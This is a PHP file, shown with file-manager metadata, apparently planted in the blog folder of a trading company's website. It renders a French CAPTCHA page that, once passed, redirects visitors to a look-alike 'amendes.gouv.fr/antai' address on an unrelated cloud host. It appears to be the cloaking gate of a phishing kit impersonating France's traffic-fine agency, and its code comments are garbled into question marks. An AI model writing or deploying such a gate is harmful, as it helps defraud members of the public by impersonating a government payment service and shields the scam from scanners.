File "index_250928164243.php"
Full Path: /home/asdasd9/navetortrading.com/blog/index_250928164243.php
File size: 2.87 KB
MIME-type: text/x-php
Charset: utf-8
<?php
session_start();
// ????? CAPTCHA ???? ?? ????? ?????
function genererCaptchaTexte($longueur = 5) {
$caracteres = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789';
$texte = '';
for ($i = 0; $i < $longueur; $i++) {
$texte .= $caracteres[rand(0, strlen($caracteres) - 1)];
}
return $texte;
}
// ????? ???? CAPTCHA ?????
function genererCaptchaImage($texte) {
$largeur = 150;
$hauteur = 50;
$im = imagecreatetruecolor($largeur, $hauteur);
$bg = imagecolorallocate($im, 255, 255, 255);
$fg = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, $largeur, $hauteur, $bg);
imagestring($im, 5, 20, 15, $texte, $fg);
ob_start();
imagepng($im);
$imageData = ob_get_clean();
imagedestroy($im);
return 'data:image/png;base64,' . base64_encode($imageData);
}
// ?????? ??? ????? ???????
$erreur = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$reponseUtilisateur = trim($_POST['captcha']);
if ($reponseUtilisateur === $_SESSION['captcha_text']) {
header("Location: https://serviceclientantai.cloudaccess.host/amendes.gouv.fr/antai/redirect");
exit();
} else {
$erreur = "Erreur : Le texte ne correspond pas. Veuillez rèessayer.";
$_SESSION['captcha_text'] = genererCaptchaTexte(); // ????? CAPTCHA ???? ??? ?????
}
}
// ??? ?? ??? ???? CAPTCHA ?? ??????? ???? ???? ????
if (!isset($_SESSION['captcha_text'])) {
$_SESSION['captcha_text'] = genererCaptchaTexte();
}
// ????? ???? CAPTCHA ????? ??? ???? ?? ??????
$captchaImage = genererCaptchaImage($_SESSION['captcha_text']);
?>
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Captcha Lettres et Chiffres</title>
<style>
body { font-family: Arial, sans-serif; text-align: center; padding: 30px; }
img { border: 1px solid #ccc; margin-bottom: 10px; }
input[type=text] { padding: 10px; width: 200px; font-size: 18px; }
.button-bleu {
background-color: #007BFF;
color: white;
border: none;
padding: 10px 20px;
font-size: 18px;
cursor: pointer;
border-radius: 5px;
transition: background-color 0.3s;
}
.button-bleu:hover {
background-color: #0056b3;
}
.logo { max-width: 150px; margin-bottom: 20px; }
</style>
</head>
<body>
<!-- ????? ?????? ?? ???? ????? -->
<img src="https://blog.jirivanek.eu/wp-content/uploads/2022/08/google-recaptcha-wordpress-862x485-1.jpg" alt="Logo" class="logo">
<?php if (!empty($erreur)) echo "<p style='color:red;'>$erreur</p>"; ?>
<form method="post">
<p><img src="<?php echo $captchaImage; ?>" alt="captcha"></p>
<input type="text" name="captcha" required placeholder="Recopiez les caractères">
<br><br>
<input type="submit" value="Continuer" class="button-bleu">
</form>
</body>
</html>